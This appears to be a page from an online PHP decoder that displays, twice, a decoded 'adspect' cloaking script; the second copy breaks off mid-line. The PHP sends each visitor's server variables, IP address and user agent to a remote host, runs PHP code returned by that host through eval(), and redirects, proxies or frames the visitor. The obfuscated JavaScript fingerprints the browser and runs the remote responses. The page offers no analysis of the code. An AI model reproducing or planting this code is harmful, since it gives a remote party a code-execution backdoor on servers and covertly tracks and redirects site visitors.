Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adsp..
Decoded Output download
<?php
ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adspect')) { function adspect_exit($code, $message) { http_response_code($code); exit($message); } function adspect_dig($array, $key, $default = '') { return array_key_exists($key, $array) ? $array[$key] : $default; } function adspect_resolve_path($path) { if ($path[0] === DIRECTORY_SEPARATOR) { $path = adspect_dig($_SERVER, 'DOCUMENT_ROOT', __DIR__) . $path; } else { $path = __DIR__ . DIRECTORY_SEPARATOR . $path; } return realpath($path); } function adspect_spoof_request($url = '') { $_SERVER['REQUEST_METHOD'] = 'GET'; $_POST = []; if ($url !== '') { $url = parse_url($url); if (isset($url['path'])) { if (substr($url['path'], 0, 1) === '/') { $_SERVER['REQUEST_URI'] = $url['path']; } else { $_SERVER['REQUEST_URI'] = dirname($_SERVER['REQUEST_URI']) . '/' . $url['path']; } } if (isset($url['query'])) { parse_str($url['query'], $_GET); $_SERVER['QUERY_STRING'] = $url['query']; } else { $_GET = []; $_SERVER['QUERY_STRING'] = ''; } } } function adspect_try_files() { foreach (func_get_args() as $path) { if (is_file($path)) { if (!is_readable($path)) { adspect_exit(403, 'Permission denied'); } header('Content-Type: text/html'); switch (strtolower(pathinfo($path, PATHINFO_EXTENSION))) { case 'php': case 'phtml': case 'php5': case 'php4': case 'php3': adspect_execute($path); exit; default: header('Content-Type: ' . adspect_content_type($path)); case 'html': case 'htm': header('Content-Length: ' . filesize($path)); readfile($path); exit; } } } adspect_exit(404, 'File not found'); } function adspect_execute() { global $_adspect; require_once func_get_arg(0); } function adspect_content_type($path) { if (function_exists('mime_content_type')) { $type = mime_content_type($path); if (is_string($type)) { return $type; } } return 'application/octet-stream'; } function adspect_serve_local($url) { $path = (string)parse_url($url, PHP_URL_PATH); if ($path === '') { return null; } $path = adspect_resolve_path($path); if (is_string($path)) { adspect_spoof_request($url); if (is_dir($path)) { chdir($path); adspect_try_files('index.php', 'index.html', 'index.htm'); return; } chdir(dirname($path)); adspect_try_files($path); return; } adspect_exit(404, 'File not found'); } function adspect_real_ip() { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { $ip = strtok($_SERVER['HTTP_X_FORWARDED_FOR'], ','); } elseif (array_key_exists('HTTP_X_REAL_IP', $_SERVER)) { $ip = $_SERVER['HTTP_X_REAL_IP']; } elseif (array_key_exists('HTTP_REAL_IP', $_SERVER)) { $ip = $_SERVER['HTTP_REAL_IP']; } elseif (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function adspect_crypt($in, $key) { $il = strlen($in); $kl = strlen($key); $out = ''; for ($i = 0; $i < $il; ++$i) { $out .= chr(ord($in[$i]) ^ ord($key[$i % $kl])); } return $out; } function adspect_proxy_headers() { $headers = []; foreach (func_get_args() as $key) { if (array_key_exists($key, $_SERVER)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[] = "{$header}: {$_SERVER[$key]}"; } } return $headers; } function adspect_proxy($url, $param = null, $key = null) { $url = parse_url($url); if (empty($url)) { adspect_exit(500, 'Invalid proxy URL'); } extract($url); $curl = curl_init(); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING , ''); curl_setopt($curl, CURLOPT_USERAGENT, adspect_dig($_SERVER, 'HTTP_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36')); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if (!isset($scheme)) { $scheme = 'http'; } if (!isset($host)) { $host = adspect_dig($_SERVER, 'HTTP_HOST', 'localhost'); } if (isset($user, $pass)) { curl_setopt($curl, CURLOPT_USERPWD, "$user:$pass"); $host = "$user:$pass@$host"; } if (isset($port)) { curl_setopt($curl, CURLOPT_PORT, $port); $host = "$host:$port"; } $origin = "$scheme://$host"; if (!isset($path)) { $path = '/'; } if ($path[0] !== '/') { $path = "/$path"; } $url = $path; if (isset($query)) { $url .= "?$query"; } curl_setopt($curl, CURLOPT_URL, $origin . $url); $headers = adspect_proxy_headers('HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_COOKIE'); $headers[] = 'Cache-Control: no-cache'; curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); $data = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE); curl_close($curl); http_response_code($code); if (is_string($data)) { if (isset($param, $key) && preg_match('{^text/(?:html|css)}i', $type)) { $base = $path; if ($base[-1] !== '/') { $base = dirname($base); } $base = rtrim($base, '/'); $rw = function ($m) use ($origin, $base, $param, $key) { list($repl, $what, $url) = $m; $url = htmlspecialchars_decode($url); $url = parse_url($url); if (!empty($url)) { extract($url); if (isset($host)) { if (!isset($scheme)) { $scheme = 'http'; } $host = "$scheme://$host"; if (isset($user, $pass)) { $host = "$user:$pass@$host"; } if (isset($port)) { $host = "$host:$port"; } } else { $host = $origin; } if (!isset($path)) { $path = ''; } if (!strlen($path) || $path[0] !== '/') { $path = "$base/$path"; } if (!isset($query)) { $query = ''; } $host = base64_encode(adspect_crypt($host, $key)); parse_str($query, $query); $query[$param] = "$path#$host"; $repl = '?' . http_build_query($query); if (isset($fragment)) { $repl .= "#$fragment"; } $repl = htmlspecialchars($repl); if ($what[-1] === '=') { $repl = "\"$repl\""; } $repl = $what . $repl; } return $repl; }; $re = '{(href=|src=|url\()["\']?((?:https?:|(?!#|[[:alnum:]]+:))[^"\'[:space:]>)]+)["\']?}i'; $data = preg_replace_callback($re, $rw, $data); } } else { $data = ''; } header("Content-Type: $type"); header('Content-Length: ' . strlen($data)); echo $data; } function adspect($sid, $mode, $param, $key) { if (!function_exists('curl_init')) { adspect_exit(500, 'php-curl extension is missing'); } if (!function_exists('json_encode') || !function_exists('json_decode')) { adspect_exit(500, 'php-json extension is missing'); } $addr = adspect_real_ip(); if (array_key_exists($param, $_GET) && strpos($_GET[$param], '#') !== false) { list($url, $host) = explode('#', $_GET[$param], 2); $host = adspect_crypt(base64_decode($host), $key); unset($_GET[$param]); $query = http_build_query($_GET); $url = "$host$url?$query"; adspect_proxy($url, $param, $key); exit; } $ajax = intval($mode === 'ajax'); $curl = curl_init(); $sid = adspect_dig($_GET, '__sid', $sid); $ua = adspect_dig($_SERVER, 'HTTP_USER_AGENT'); $referrer = adspect_dig($_SERVER, 'HTTP_REFERER'); $query = http_build_query($_GET); switch (array_key_exists('data', $_POST)) { case true: $payload = json_decode($_POST['data'], true); if (is_array($payload)) { break; } default: $payload = []; break; } $payload['server'] = $_SERVER; curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($payload)); if ($ajax) { header('Access-Control-Allow-Origin: *'); $cid = adspect_dig($_SERVER, 'HTTP_X_REQUEST_ID'); } else { $cid = adspect_dig($_COOKIE, '_cid'); } curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING, ''); curl_setopt($curl, CURLOPT_HTTPHEADER, [ "X-Forwarded-Host: {$_SERVER['HTTP_HOST']}", "X-Request-ID: {$cid}", "Adspect-IP: {$addr}", "Adspect-UA: {$ua}", "Adspect-Referrer: {$referrer}", ]); curl_setopt($curl, CURLOPT_URL, "https://rpc.adspect.net/v2/{$sid}?{$query}"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); header('Cache-Control: no-store'); switch ($code) { case 200: $data = json_decode($json, true); if (!is_array($data)) { adspect_exit(500, 'Invalid backend response'); } global $_adspect; $_adspect = $data; extract($data); if ($ajax) { switch ($action) { case 'php': ob_start(); eval($target); $data['target'] = ob_get_clean(); $json = json_encode($data); break; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); echo $json; } else { header('Content-Type: application/javascript'); if (!$ok && !$js) { return null; } echo "window._adata={$json};"; return $target; } } else { if ($js) { setcookie('_cid', $cid, time() + 60); return $target; } switch ($action) { case 'local': return adspect_serve_local($target); case 'noop': adspect_spoof_request($target); return null; case '301': case '302': case '303': header("Location: {$target}", true, (int)$action); break; case 'xar': header("X-Accel-Redirect: {$target}"); break; case 'xsf': header("X-Sendfile: {$target}"); break; case 'refresh': header("Refresh: 0; url={$target}"); adspect_spoof_request(); return null; case 'meta': $target = htmlspecialchars($target); echo "<!DOCTYPE html><head><meta http-equiv=\"refresh\" content=\"0; url={$target}\"></head>"; break; case 'iframe': $target = htmlspecialchars($target); echo "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe></body></html>"; break; case 'proxy': adspect_proxy($target, $param, $key); break; case 'fetch': adspect_proxy($target); break; case 'return': if (is_numeric($target)) { http_response_code((int)$target); } else { adspect_exit(500, 'Non-numeric status code'); } break; case 'php': eval($target); break; case 'js': $target = htmlspecialchars(base64_encode($target)); echo "<!DOCTYPE html><body><script src=\"data:text/javascript;base64,{$target}\"></script></body>"; break; } } exit; case 404: adspect_exit(404, 'Stream not found'); default: adspect_exit($code, 'Backend response code ' . $code); } } } $target = adspect('032f97a4-e702-4520-bc36-18391fcf5dd6', 'ajax', '_', base64_decode('EWLWy8Coxciu8A1AkgNTA/NGUdTBxs+9NV9oNTIgvDM=')); if (!isset($target)) { return; } ?>
(function(){var reactfake=[],react_tagdisplayname={},react_maskunits=document['getElementById'](btoa(window['location']['origin']));function react_autocomplete(react_refx){if(react_refx['ok'])switch(react_refx['action']){case'local':case'fetch':case'proxy':var reactcomment_node=new XMLHttpRequest();reactcomment_node['open']('GET',react_refx['target'],!0x1),reactcomment_node['onreadystatechange']=function(){0x4===this['readyState']&&0xc8===this['status']&&(document['open'](),document['write'](this['responseText']),document['close']());},reactcomment_node['send']();break;case'301':case'302':case'303':case'refresh':case'meta':case'xar':case'xsf':window['location']['replace'](react_refx['target']);break;case'iframe':reactcomment_node=document['createElement']('iframe'),reactcomment_node['style']['cssText']='width:100%;height:100%;position:absolute;top:0;left:0;z-index:1000;border:none;',reactcomment_node['src']=react_refx['target'],react_refx['target']=reactcomment_node['outerHTML'];case'php':document['open'](),document['write'](react_refx['target']),document['close']();break;case'js':eval(react_refx['target']);}}var react_get=window['_adata'];if(!react_get['js'])return react_autocomplete(react_get);try{function react_registerevents$2(react_muted){if('object'===typeof react_muted&&null!==react_muted){var react_control={};function react_elements(react_controlled){try{var react_pushstoreconsistencycheck=react_muted[react_controlled];switch(typeof react_pushstoreconsistencycheck){case'object':if(null===react_pushstoreconsistencycheck)break;case'function':react_pushstoreconsistencycheck=react_pushstoreconsistencycheck['toString']();}react_control[react_controlled]=react_pushstoreconsistencycheck;}catch(react_isprimary){reactfake['push'](react_isprimary['message']);}}for(var react_didwarnselectedsetonoption in react_muted)react_elements(react_didwarnselectedsetonoption);try{var react_isalreadyfailedlegacyerrorboundary=Object['getOwnPropertyNames'](react_muted);for(react_didwarnselectedsetonoption=0x0;react_didwarnselectedsetonoption<react_isalreadyfailedlegacyerrorboundary['length'];++react_didwarnselectedsetonoption)react_elements(react_isalreadyfailedlegacyerrorboundary[react_didwarnselectedsetonoption]);react_control['!!']=react_isalreadyfailedlegacyerrorboundary;}catch(_matchedfiber){reactfake['push'](_matchedfiber['message']);}return react_control;}}react_tagdisplayname['screen']=react_registerevents$2(window['screen']),react_tagdisplayname['window']=react_registerevents$2(window),react_tagdisplayname['navigator']=react_registerevents$2(window['navigator']),react_tagdisplayname['location']=react_registerevents$2(window['location']),react_tagdisplayname['console']=react_registerevents$2(window['console']),react_tagdisplayname['documentElement']=function(reacthostportal){try{var react_postmountwrapper$1={};reacthostportal=reacthostportal['attributes'];for(var react_setattribute in reacthostportal)react_setattribute=reacthostportal[react_setattribute],react_postmountwrapper$1[react_setattribute['nodeName']]=react_setattribute['nodeValue'];return react_postmountwrapper$1;}catch(react_isreserved){reactfake['push'](react_isreserved['message']);}}(document['documentElement']),react_tagdisplayname['document']=react_registerevents$2(document);try{react_tagdisplayname['timezoneOffset']=new Date()['getTimezoneOffset']();}catch(react_finishedwork){reactfake['push'](react_finishedwork['message']);}try{react_tagdisplayname['closure']=function(){}['toString']();}catch(react_isanarray){reactfake['push'](react_isanarray['message']);}try{react_tagdisplayname['touchEvent']=document['createEvent']('TouchEvent')['toString']();}catch(react_ishotupdate){reactfake['push'](react_ishotupdate['message']);}try{var react_reentry=function(){},react_invalidprops=0x0;react_reentry['toString']=function(){return++react_invalidprops,'';},console['log'](react_reentry),react_tagdisplayname['tostring']=react_invalidprops;}catch(react_attempthydrationatcurrentpriority){reactfake['push'](react_attempthydrationatcurrentpriority['message']);}try{var react_updatelane=document['createElement']('canvas')['getContext']('webgl'),react_computeexpirationtime=react_updatelane['getExtension']('WEBGL_debug_renderer_info');react_tagdisplayname['webgl']={'vendor':react_updatelane['getParameter'](react_computeexpirationtime['UNMASKED_VENDOR_WEBGL']),'renderer':react_updatelane['getParameter'](react_computeexpirationtime['UNMASKED_RENDERER_WEBGL'])};}catch(react_slicetail){reactfake['push'](react_slicetail['message']);}function react_childowner(react_reporterror,react_newchildren,react_removedisposehandler){var react_about=react_reporterror['prototype'][react_newchildren];react_reporterror['prototype'][react_newchildren]=function(){react_tagdisplayname['proto']=!0x0;},react_removedisposehandler(),react_reporterror['prototype'][react_newchildren]=react_about;}try{react_childowner(Array,'includes',function(){return document['createElement']('video')['canPlayType']('video/mp4');});}catch(react_checkdce){}}catch(react_oldprops){reactfake['push'](react_oldprops['message']);}(function(){react_tagdisplayname['errors']=reactfake,react_tagdisplayname['cid']=react_get['cid'];var react_options=new FormData();react_options['append']('data',JSON['stringify'](react_tagdisplayname));var react_loaded=new XMLHttpRequest();react_loaded['open']('POST',react_maskunits['getAttribute']('src'),!0x1),react_loaded['onreadystatechange']=function(){0x4===this['readyState']&&0xc8===this['status']&&react_autocomplete(JSON['parse'](this['responseText']));},react_loaded['send'](react_options);}());}());
Did this file decode correctly?
Original Code
<?php
ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adspect')) { function adspect_exit($code, $message) { http_response_code($code); exit($message); } function adspect_dig($array, $key, $default = '') { return array_key_exists($key, $array) ? $array[$key] : $default; } function adspect_resolve_path($path) { if ($path[0] === DIRECTORY_SEPARATOR) { $path = adspect_dig($_SERVER, 'DOCUMENT_ROOT', __DIR__) . $path; } else { $path = __DIR__ . DIRECTORY_SEPARATOR . $path; } return realpath($path); } function adspect_spoof_request($url = '') { $_SERVER['REQUEST_METHOD'] = 'GET'; $_POST = []; if ($url !== '') { $url = parse_url($url); if (isset($url['path'])) { if (substr($url['path'], 0, 1) === '/') { $_SERVER['REQUEST_URI'] = $url['path']; } else { $_SERVER['REQUEST_URI'] = dirname($_SERVER['REQUEST_URI']) . '/' . $url['path']; } } if (isset($url['query'])) { parse_str($url['query'], $_GET); $_SERVER['QUERY_STRING'] = $url['query']; } else { $_GET = []; $_SERVER['QUERY_STRING'] = ''; } } } function adspect_try_files() { foreach (func_get_args() as $path) { if (is_file($path)) { if (!is_readable($path)) { adspect_exit(403, 'Permission denied'); } header('Content-Type: text/html'); switch (strtolower(pathinfo($path, PATHINFO_EXTENSION))) { case 'php': case 'phtml': case 'php5': case 'php4': case 'php3': adspect_execute($path); exit; default: header('Content-Type: ' . adspect_content_type($path)); case 'html': case 'htm': header('Content-Length: ' . filesize($path)); readfile($path); exit; } } } adspect_exit(404, 'File not found'); } function adspect_execute() { global $_adspect; require_once func_get_arg(0); } function adspect_content_type($path) { if (function_exists('mime_content_type')) { $type = mime_content_type($path); if (is_string($type)) { return $type; } } return 'application/octet-stream'; } function adspect_serve_local($url) { $path = (string)parse_url($url, PHP_URL_PATH); if ($path === '') { return null; } $path = adspect_resolve_path($path); if (is_string($path)) { adspect_spoof_request($url); if (is_dir($path)) { chdir($path); adspect_try_files('index.php', 'index.html', 'index.htm'); return; } chdir(dirname($path)); adspect_try_files($path); return; } adspect_exit(404, 'File not found'); } function adspect_real_ip() { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { $ip = strtok($_SERVER['HTTP_X_FORWARDED_FOR'], ','); } elseif (array_key_exists('HTTP_X_REAL_IP', $_SERVER)) { $ip = $_SERVER['HTTP_X_REAL_IP']; } elseif (array_key_exists('HTTP_REAL_IP', $_SERVER)) { $ip = $_SERVER['HTTP_REAL_IP']; } elseif (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function adspect_crypt($in, $key) { $il = strlen($in); $kl = strlen($key); $out = ''; for ($i = 0; $i < $il; ++$i) { $out .= chr(ord($in[$i]) ^ ord($key[$i % $kl])); } return $out; } function adspect_proxy_headers() { $headers = []; foreach (func_get_args() as $key) { if (array_key_exists($key, $_SERVER)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[] = "{$header}: {$_SERVER[$key]}"; } } return $headers; } function adspect_proxy($url, $param = null, $key = null) { $url = parse_url($url); if (empty($url)) { adspect_exit(500, 'Invalid proxy URL'); } extract($url); $curl = curl_init(); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING , ''); curl_setopt($curl, CURLOPT_USERAGENT, adspect_dig($_SERVER, 'HTTP_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36')); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if (!isset($scheme)) { $scheme = 'http'; } if (!isset($host)) { $host = adspect_dig($_SERVER, 'HTTP_HOST', 'localhost'); } if (isset($user, $pass)) { curl_setopt($curl, CURLOPT_USERPWD, "$user:$pass"); $host = "$user:$pass@$host"; } if (isset($port)) { curl_setopt($curl, CURLOPT_PORT, $port); $host = "$host:$port"; } $origin = "$scheme://$host"; if (!isset($path)) { $path = '/'; } if ($path[0] !== '/') { $path = "/$path"; } $url = $path; if (isset($query)) { $url .= "?$query"; } curl_setopt($curl, CURLOPT_URL, $origin . $url); $headers = adspect_proxy_headers('HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_COOKIE'); $headers[] = 'Cache-Control: no-cache'; curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); $data = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE); curl_close($curl); http_response_code($code); if (is_string($data)) { if (isset($param, $key) && preg_match('{^text/(?:html|css)}i', $type)) { $base = $path; if ($base[-1] !== '/') { $base = dirname($base); } $base = rtrim($base, '/'); $rw = function ($m) use ($origin, $base, $param, $key) { list($repl, $what, $url) = $m; $url = htmlspecialchars_decode($url); $url = parse_url($url); if (!empty($url)) { extract($url); if (isset($host)) { if (!isset($scheme)) { $scheme = 'http'; } $host = "$scheme://$host"; if (isset($user, $pass)) { $host = "$user:$pass@$host"; } if (isset($port)) { $host = "$host:$port"; } } else { $host = $origin; } if (!isset($path)) { $path = ''; } if (!strlen($path) || $path[0] !== '/') { $path = "$base/$path"; } if (!isset($query)) { $query = ''; } $host = base64_encode(adspect_crypt($host, $key)); parse_str($query, $query); $query[$param] = "$path#$host"; $repl = '?' . http_build_query($query); if (isset($fragment)) { $repl .= "#$fragment"; } $repl = htmlspecialchars($repl); if ($what[-1] === '=') { $repl = "\"$repl\""; } $repl = $what . $repl; } return $repl; }; $re = '{(href=|src=|url\()["\']?((?:https?:|(?!#|[[:alnum:]]+:))[^"\'[:space:]>)]+)["\']?}i'; $data = preg_replace_callback($re, $rw, $data); } } else { $data = ''; } header("Content-Type: $type"); header('Content-Length: ' . strlen($data)); echo $data; } function adspect($sid, $mode, $param, $key) { if (!function_exists('curl_init')) { adspect_exit(500, 'php-curl extension is missing'); } if (!function_exists('json_encode') || !function_exists('json_decode')) { adspect_exit(500, 'php-json extension is missing'); } $addr = adspect_real_ip(); if (array_key_exists($param, $_GET) && strpos($_GET[$param], '#') !== false) { list($url, $host) = explode('#', $_GET[$param], 2); $host = adspect_crypt(base64_decode($host), $key); unset($_GET[$param]); $query = http_build_query($_GET); $url = "$host$url?$query"; adspect_proxy($url, $param, $key); exit; } $ajax = intval($mode === 'ajax'); $curl = curl_init(); $sid = adspect_dig($_GET, '__sid', $sid); $ua = adspect_dig($_SERVER, 'HTTP_USER_AGENT'); $referrer = adspect_dig($_SERVER, 'HTTP_REFERER'); $query = http_build_query($_GET); switch (array_key_exists('data', $_POST)) { case true: $payload = json_decode($_POST['data'], true); if (is_array($payload)) { break; } default: $payload = []; break; } $payload['server'] = $_SERVER; curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($payload)); if ($ajax) { header('Access-Control-Allow-Origin: *'); $cid = adspect_dig($_SERVER, 'HTTP_X_REQUEST_ID'); } else { $cid = adspect_dig($_COOKIE, '_cid'); } curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING, ''); curl_setopt($curl, CURLOPT_HTTPHEADER, [ "X-Forwarded-Host: {$_SERVER['HTTP_HOST']}", "X-Request-ID: {$cid}", "Adspect-IP: {$addr}", "Adspect-UA: {$ua}", "Adspect-Referrer: {$referrer}", ]); curl_setopt($curl, CURLOPT_URL, "https://rpc.adspect.net/v2/{$sid}?{$query}"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); header('Cache-Control: no-store'); switch ($code) { case 200: $data = json_decode($json, true); if (!is_array($data)) { adspect_exit(500, 'Invalid backend response'); } global $_adspect; $_adspect = $data; extract($data); if ($ajax) { switch ($action) { case 'php': ob_start(); eval($target); $data['target'] = ob_get_clean(); $json = json_encode($data); break; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); echo $json; } else { header('Content-Type: application/javascript'); if (!$ok && !$js) { return null; } echo "window._adata={$json};"; return $target; } } else { if ($js) { setcookie('_cid', $cid, time() + 60); return $target; } switch ($action) { case 'local': return adspect_serve_local($target); case 'noop': adspect_spoof_request($target); return null; case '301': case '302': case '303': header("Location: {$target}", true, (int)$action); break; case 'xar': header("X-Accel-Redirect: {$target}"); break; case 'xsf': header("X-Sendfile: {$target}"); break; case 'refresh': header("Refresh: 0; url={$target}"); adspect_spoof_request(); return null; case 'meta': $target = htmlspecialchars($target); echo "<!DOCTYPE html><head><meta http-equiv=\"refresh\" content=\"0; url={$target}\"></head>"; break; case 'iframe': $target = htmlspecialchars($target); echo "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe></body></html>"; break; case 'proxy': adspect_proxy($target, $param, $key); break; case 'fetch': adspect_proxy($target); break; case 'return': if (is_numeric($target)) { http_response_code((int)$target); } else { adspect_exit(500, 'Non-numeric status code'); } break; case 'php': eval($target); break; case 'js': $target = htmlspecialchars(base64_encode($target)); echo "<!DOCTYPE html><body><script src=\"data:text/javascript;base64,{$target}\"></script></body>"; break; } } exit; case 404: adspect_exit(404, 'Stream not found'); default: adspect_exit($code, 'Backend response code ' . $code); } } } $target = adspect('032f97a4-e702-4520-bc36-18391fcf5dd6', 'ajax', '_', base64_decode('EWLWy8Coxciu8A1AkgNTA/NGUdTBxs+9NV9oNTIgvDM=')); if (!isset($target)) { return; } ?>
(function(){var reactfake=[],react_tagdisplayname={},react_maskunits=document['getElementById'](btoa(window['location']['origin']));function react_autocomplete(react_refx){if(react_refx['ok'])switch(react_refx['action']){case'local':case'fetch':case'proxy':var reactcomment_node=new XMLHttpRequest();reactcomment_node['open']('GET',react_refx['target'],!0x1),reactcomment_node['onreadystatechange']=function(){0x4===this['readyState']&&0xc8===this['status']&&(document['open'](),document['write'](this['responseText']),document['close']());},reactcomment_node['send']();break;case'301':case'302':case'303':case'refresh':case'meta':case'xar':case'xsf':window['location']['replace'](react_refx['target']);break;case'iframe':reactcomment_node=document['createElement']('iframe'),reactcomment_node['style']['cssText']='width:100%;height:100%;position:absolute;top:0;left:0;z-index:1000;border:none;',reactcomment_node['src']=react_refx['target'],react_refx['target']=reactcomment_node['outerHTML'];case'php':document['open'](),document['write'](react_refx['target']),document['close']();break;case'js':eval(react_refx['target']);}}var react_get=window['_adata'];if(!react_get['js'])return react_autocomplete(react_get);try{function react_registerevents$2(react_muted){if('object'===typeof react_muted&&null!==react_muted){var react_control={};function react_elements(react_controlled){try{var react_pushstoreconsistencycheck=react_muted[react_controlled];switch(typeof react_pushstoreconsistencycheck){case'object':if(null===react_pushstoreconsistencycheck)break;case'function':react_pushstoreconsistencycheck=react_pushstoreconsistencycheck['toString']();}react_control[react_controlled]=react_pushstoreconsistencycheck;}catch(react_isprimary){reactfake['push'](react_isprimary['message']);}}for(var react_didwarnselectedsetonoption in react_muted)react_elements(react_didwarnselectedsetonoption);try{var react_isalreadyfailedlegacyerrorboundary=Object['getOwnPropertyNames'](react_muted);for(react_didwarnselectedsetonoption=0x0;react_didwarnselectedsetonoption<react_isalreadyfailedlegacyerrorboundary['length'];++react_didwarnselectedsetonoption)react_elements(react_isalreadyfailedlegacyerrorboundary[react_didwarnselectedsetonoption]);react_control['!!']=react_isalreadyfailedlegacyerrorboundary;}catch(_matchedfiber){reactfake['push'](_matchedfiber['message']);}return react_control;}}react_tagdisplayname['screen']=react_registerevents$2(window['screen']),react_tagdisplayname['window']=react_registerevents$2(window),react_tagdisplayname['navigator']=react_registerevents$2(window['navigator']),react_tagdisplayname['location']=react_registerevents$2(window['location']),react_tagdisplayname['console']=react_registerevents$2(window['console']),react_tagdisplayname['documentElement']=function(reacthostportal){try{var react_postmountwrapper$1={};reacthostportal=reacthostportal['attributes'];for(var react_setattribute in reacthostportal)react_setattribute=reacthostportal[react_setattribute],react_postmountwrapper$1[react_setattribute['nodeName']]=react_setattribute['nodeValue'];return react_postmountwrapper$1;}catch(react_isreserved){reactfake['push'](react_isreserved['message']);}}(document['documentElement']),react_tagdisplayname['document']=react_registerevents$2(document);try{react_tagdisplayname['timezoneOffset']=new Date()['getTimezoneOffset']();}catch(react_finishedwork){reactfake['push'](react_finishedwork['message']);}try{react_tagdisplayname['closure']=function(){}['toString']();}catch(react_isanarray){reactfake['push'](react_isanarray['message']);}try{react_tagdisplayname['touchEvent']=document['createEvent']('TouchEvent')['toString']();}catch(react_ishotupdate){reactfake['push'](react_ishotupdate['message']);}try{var react_reentry=function(){},react_invalidprops=0x0;react_reentry['toString']=function(){return++react_invalidprops,'';},console['log'](react_reentry),react_tagdisplayname['tostring']=react_invalidprops;}catch(react_attempthydrationatcurrentpriority){reactfake['push'](react_attempthydrationatcurrentpriority['message']);}try{var react_updatelane=document['createElement']('canvas')['getContext']('webgl'),react_computeexpirationtime=react_updatelane['getExtension']('WEBGL_debug_renderer_info');react_tagdisplayname['webgl']={'vendor':react_updatelane['getParameter'](react_computeexpirationtime['UNMASKED_VENDOR_WEBGL']),'renderer':react_updatelane['getParameter'](react_computeexpirationtime['UNMASKED_RENDERER_WEBGL'])};}catch(react_slicetail){reactfake['push'](react_slicetail['message']);}function react_childowner(react_reporterror,react_newchildren,react_removedisposehandler){var react_about=react_reporterror['prototype'][react_newchildren];react_reporterror['prototype'][react_newchildren]=function(){react_tagdisplayname['proto']=!0x0;},react_removedisposehandler(),react_reporterror['prototype'][react_newchildren]=react_about;}try{react_childowner(Array,'includes',function(){return 